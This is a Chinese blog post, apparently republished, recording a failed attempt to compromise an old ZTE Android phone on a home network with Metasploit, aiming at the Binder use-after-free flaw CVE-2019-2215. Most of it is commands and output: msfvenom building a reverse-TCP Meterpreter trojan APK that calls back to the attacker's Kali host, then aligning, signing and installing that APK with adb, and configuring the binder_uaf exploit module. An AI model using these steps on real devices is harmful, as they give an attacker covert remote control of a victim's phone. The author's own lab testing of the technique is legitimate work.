当前位置:   article > 正文

MSF手机渗透实验(未成功)(CVE-2019-2215 Binder UA)_post failed: msf::optionvalidateerror one or more

post failed: msf::optionvalidateerror one or more options failed to validate

1. 前言

最近想利用metasploit对手机进行依次渗透实验。

通过查看最近三年的安卓漏洞,我对CVE-2019-2215这个漏洞很感兴趣。

幸运的是,metasploit里就有这个漏洞的攻击payload,于是我就开始试试了。

  1. msf6 > search binder
  2. Matching Modules
  3. ================
  4. # Name Disclosure Date Rank Check Description
  5. - ---- --------------- ---- ----- -----------
  6. 0 exploit/android/local/binder_uaf 2019-09-26 excellent No Android Binder Use-After-Free Exploit
  7. Interact with a module by name or index. For example info 0, use 0 or use exploit/android/local/binder_uaf

在环境的准备中,你需要有一个kali环境。可以参考我的这篇博客:

5分钟完成 Kali linux安装(基于VirtualBox)_virtualbox安装kali_晓翔仔的博客-CSDN博客

一个被测手机和kali在同一个局域网里(连接同一个wifi):

  1. ┌──(root㉿kali)-[/home/kali]
  2. └─# arp-scan -l
  3. Interface: eth0, type: EN10MB, MAC: 08:00:27:22:46:4f, IPv4: 192.168.2.119
  4. Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
  5. 192.168.2.1 28:77:77:05:f2:48 (Unknown)
  6. 192.168.2.2 60:23:a4:29:04:57 Sichuan AI-Link Technology Co., Ltd.
  7. 192.168.2.6 f2:f9:15:96:35:37 (Unknown: locally administered)
  8. 192.168.2.109 88:d8:2e:f3:fa:11 (Unknown)
  9. 192.168.2.122 d0:5b:a8:f5:b6:2b zte corporation
  10. 192.168.2.128 62:e8:cb:7c:2d:b6 (Unknown: locally administered)
  11. 6 packets received by filter, 0 packets dropped by kernel
  12. Ending arp-scan 1.9.7: 256 hosts scanned in 1.958 seconds (130.75 hosts/sec). 6 responded

倒数第二行就是我的中兴手机

当然,你需要检查手机安卓的版本,已经只有该漏洞修复前的版本才有成功利用的理论可。

 安卓版本5.1.1,很好,这个手机的操作系统足够古老,可以用作试验机。

2. 制作木马apk

2.1 使用 msfvenom制作apk

这里的ip用kali的ip。

  1. ┌──(kali㉿kali)-[~]
  2. └─$ sudo msfconsole
  3. [sudo] password for kali:
  4. , ,
  5. / \
  6. ((__---,,,---__))
  7. (_) O O (_)_________
  8. \ _ / |\
  9. o_o \ M S F | \
  10. \ _____ | *
  11. ||| WW|||
  12. ||| |||
  13. =[ metasploit v6.3.4-dev ]
  14. + -- --=[ 2294 exploits - 1201 auxiliary - 409 post ]
  15. + -- --=[ 968 payloads - 45 encoders - 11 nops ]
  16. + -- --=[ 9 evasion ]
  17. Metasploit tip: Enable HTTP request and response logging
  18. with set HttpTrace true
  19. Metasploit Documentation: https://docs.metasploit.com/
  20. msf6 > msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.119 LPORT=4443 R >Androidzyy1.apk
  21. [*] exec: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.119 LPORT=4443 R >Androidzyy1.apk
  22. Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
  23. [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
  24. [-] No arch selected, selecting arch: dalvik from the payload
  25. No encoder specified, outputting raw payload
  26. Payload size: 10236 bytes

2.2 安装并使用zipalign给apk对齐优化

  1. ┌──(root㉿kali)-[/home/kali]
  2. └─# zipalign
  3. Command 'zipalign' not found, but can be installed with:
  4. apt install zipalign
  5. Do you want to install it? (N/y)y
  6. apt install zipalign
  7. Reading package lists... Done
  8. Building dependency tree... Done
  9. Reading state information... Done
  10. The following packages were automatically installed and are no longer required:
  11. ruby3.0 ruby3.0-dev ruby3.0-doc
  12. Use 'sudo apt autoremove' to remove them.
  13. The following additional packages will be installed:
  14. android-libbacktrace android-libbase android-libcutils android-liblog android-libutils android-libziparchive libzopfli1
  15. The following NEW packages will be installed:
  16. android-libbacktrace android-libbase android-libcutils android-liblog android-libutils android-libziparchive libzopfli1 zipalign
  17. 0 upgraded, 8 newly installed, 0 to remove and 1755 not upgraded.
  18. Need to get 479 kB of archives.
  19. After this operation, 1,689 kB of additional disk space will be used.
  20. Do you want to continue? [Y/n] y
  21. ......
  22. Unpacking zipalign (1:10.0.0+r36-1) ...
  23. Setting up android-liblog:amd64 (1:29.0.6-26) ...
  24. Setting up libzopfli1 (1.0.3-1) ...
  25. Setting up android-libbase:amd64 (1:29.0.6-26) ...
  26. Setting up android-libziparchive:amd64 (1:29.0.6-26) ...
  27. Setting up android-libcutils:amd64 (1:29.0.6-26) ...
  28. Setting up android-libbacktrace:amd64 (1:29.0.6-26) ...
  29. Setting up android-libutils:amd64 (1:29.0.6-26) ...
  30. Setting up zipalign (1:10.0.0+r36-1) ...
  31. Processing triggers for libc-bin (2.36-8) ...
  32. Processing triggers for man-db (2.10.2-1) ...
  33. Processing triggers for kali-menu (2022.3.1) ...
  34. ┌──(kali㉿kali)-[~]
  35. └─$ zipalign -v 4 Androidzyy1.apk GRIT.apk
  36. Verifying alignment of GRIT.apk (4)...
  37. 49 AndroidManifest.xml (OK - compressed)
  38. 1828 resources.arsc (OK - compressed)
  39. 2041 classes.dex (OK - compressed)
  40. 8208 META-INF/ (OK)
  41. 8258 META-INF/MANIFEST.MF (OK - compressed)
  42. 8495 META-INF/SIGNFILE.SF (OK - compressed)
  43. 8758 META-INF/SIGNFILE.RSA (OK - compressed)
  44. Verification successful
  45. ┌──(kali㉿kali)-[~]
  46. └─$ ls -l | grep apk
  47. -rw-r--r-- 1 root root 10236 Feb 25 05:26 Androidzyy1.apk
  48. -rw-r--r-- 1 kali kali 10236 Feb 25 22:17 GRIT.apk

2.3 生成密钥对

使用keytool工具生成密钥对。参数解释:

-alias 产生别名(zzh)
-keystore 指定密钥库的名称(就像数据库一样的证书库,可以有很多个证书,cacerts这个文件是jre自带的,你也可以使用其它文件名字,如果没有这个文件名字,它会创建这样一个这里为zzh.keystore)
-v 显示密钥库中的证书详细信息
-validity 指定创建的证书有效期多少天(365)
-keysize 指定密钥长度(2084)

-keyalg RSA(算法)

执行结果:

  1. ┌──(kali㉿kali)-[~]
  2. └─$ keytool -genkey -v -keystore zyy.keystore -alias zyy -keyalg RSA -keysize 2084 -validity 365
  3. Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
  4. Enter keystore password:
  5. Re-enter new password:
  6. What is your first and last name?
  7. [Unknown]: zyy
  8. What is the name of your organizational unit?
  9. [Unknown]: person
  10. What is the name of your organization?
  11. [Unknown]: person
  12. What is the name of your City or Locality?
  13. [Unknown]: nanjinng
  14. What is the name of your State or Province?
  15. [Unknown]: jiangsu
  16. What is the two-letter country code for this unit?
  17. [Unknown]: 86
  18. Is CN=zyy, OU=person, O=person, L=nanjinng, ST=jiangsu, C=86 correct?
  19. [no]: y
  20. Generating 2,084 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 365 days
  21. for: CN=zyy, OU=person, O=person, L=nanjinng, ST=jiangsu, C=86
  22. [Storing zyy.keystore]

2.4 下载apksigner工具并签名

  1. ┌──(kali㉿kali)-[~]
  2. └─$ apksigner
  3. Command 'apksigner' not found, but can be installed with:
  4. sudo apt install apksigner
  5. Do you want to install it? (N/y)y
  6. sudo apt install apksigner
  7. [sudo] password for kali:
  8. Reading package lists... Done
  9. Building dependency tree... Done
  10. Reading state information... Done
  11. The following packages were automatically installed and are no longer required:
  12. ruby3.0 ruby3.0-dev ruby3.0-doc
  13. Use 'sudo apt autoremove' to remove them.
  14. The following additional packages will be installed:
  15. libapksig-java
  16. The following NEW packages will be installed:
  17. apksigner libapksig-java
  18. 0 upgraded, 2 newly installed, 0 to remove and 1755 not upgraded.
  19. Need to get 847 kB of archives.
  20. After this operation, 980 kB of additional disk space will be used.
  21. Do you want to continue? [Y/n] y
  22. Get:1 http://kali.download/kali kali-rolling/main amd64 libapksig-java all 31.0.2-1 [404 kB]
  23. Get:2 http://kali.download/kali kali-rolling/main amd64 apksigner all 31.0.2-1 [443 kB]
  24. Fetched 847 kB in 3s (303 kB/s)
  25. Selecting previously unselected package libapksig-java.
  26. (Reading database ... 354811 files and directories currently installed.)
  27. Preparing to unpack .../libapksig-java_31.0.2-1_all.deb ...
  28. Unpacking libapksig-java (31.0.2-1) ...
  29. Selecting previously unselected package apksigner.
  30. Preparing to unpack .../apksigner_31.0.2-1_all.deb ...
  31. Unpacking apksigner (31.0.2-1) ...
  32. Setting up libapksig-java (31.0.2-1) ...
  33. Setting up apksigner (31.0.2-1) ...
  34. Processing triggers for kali-menu (2022.3.1) ...
  35. Processing triggers for man-db (2.10.2-1) ...
  36. ┌──(kali㉿kali)-[~]
  37. └─$ apksigner sign --ks zyy.keystore --ks-key-alias zyy GRIT.apk
  38. Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
  39. Keystore password for signer #1:
  40. ┌──(kali㉿kali)-[~]
  41. └─$ ls -l | grep apk
  42. -rw-r--r-- 1 root root 10236 Feb 25 05:26 Androidzyy1.apk
  43. -rw-r--r-- 1 kali kali 16777 Feb 25 22:30 GRIT.apk
  44. -rw-r--r-- 1 kali kali 5652 Feb 25 22:30 GRIT.apk.idsig

2.5将APK传入手机安装

  1. D:\softwarework\platform-tools_r31.0.3-windows\platform-tools>adb install GRIT.apk
  2. Performing Push Install
  3. GRIT.apk: 1 file pushed, 0 skipped. 78.6 MB/s (16777 bytes in 0.000s)
  4. pkg: /data/local/tmp/GRIT.apk
  5. Success

3. msf console运行渗透脚本

3.1 从MSF搜索该漏洞利用脚本

  1. msf6 > search binder
  2. Matching Modules
  3. ================
  4. # Name Disclosure Date Rank Check Description
  5. - ---- --------------- ---- ----- -----------
  6. 0 exploit/android/local/binder_uaf 2019-09-26 excellent No Android Binder Use-After-Free Exploit
  7. Interact with a module by name or index. For example info 0, use 0 or use exploit/android/local/binder_uaf
  8. msf6 > use 0
  9. [*] Using configured payload linux/aarch64/meterpreter/reverse_tcp
  10. msf6 exploit(android/local/binder_uaf) > show options
  11. Module options (exploit/android/local/binder_uaf):
  12. Name Current Setting Required Description
  13. ---- --------------- -------- -----------
  14. SESSION yes The session to run this module on
  15. Payload options (linux/aarch64/meterpreter/reverse_tcp):
  16. Name Current Setting Required Description
  17. ---- --------------- -------- -----------
  18. LHOST yes The listen address (an interface may be specified)
  19. LPORT 4444 yes The listen port
  20. Exploit target:
  21. Id Name
  22. -- ----
  23. 0 Auto
  24. View the full module info with the info, or info -d command.

3.2 设置options,这里的LHOST填kali的IP

  1. msf6 exploit(android/local/binder_uaf) > set LPORT 4443
  2. LPORT => 4443
  3. msf6 exploit(android/local/binder_uaf) > set LHOST 192.168.2.119
  4. LHOST => 192.168.2.119

3.3 运行漏洞利用脚本

运行前需要点击手机上的应用图标,让木马运行起来。

然后我在手机上安装的木马应用,毫无反应。

由于SESSION无法建立,漏洞利用失败!

  1. msf6 exploit(android/local/binder_uaf) > run
  2. [-] Msf::OptionValidateError The following options failed to validate: SESSION
  3. [*] Exploit completed, but no session was created.

4.最后

需要查找原因

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/252189
推荐阅读
相关标签
  

闽ICP备14008679号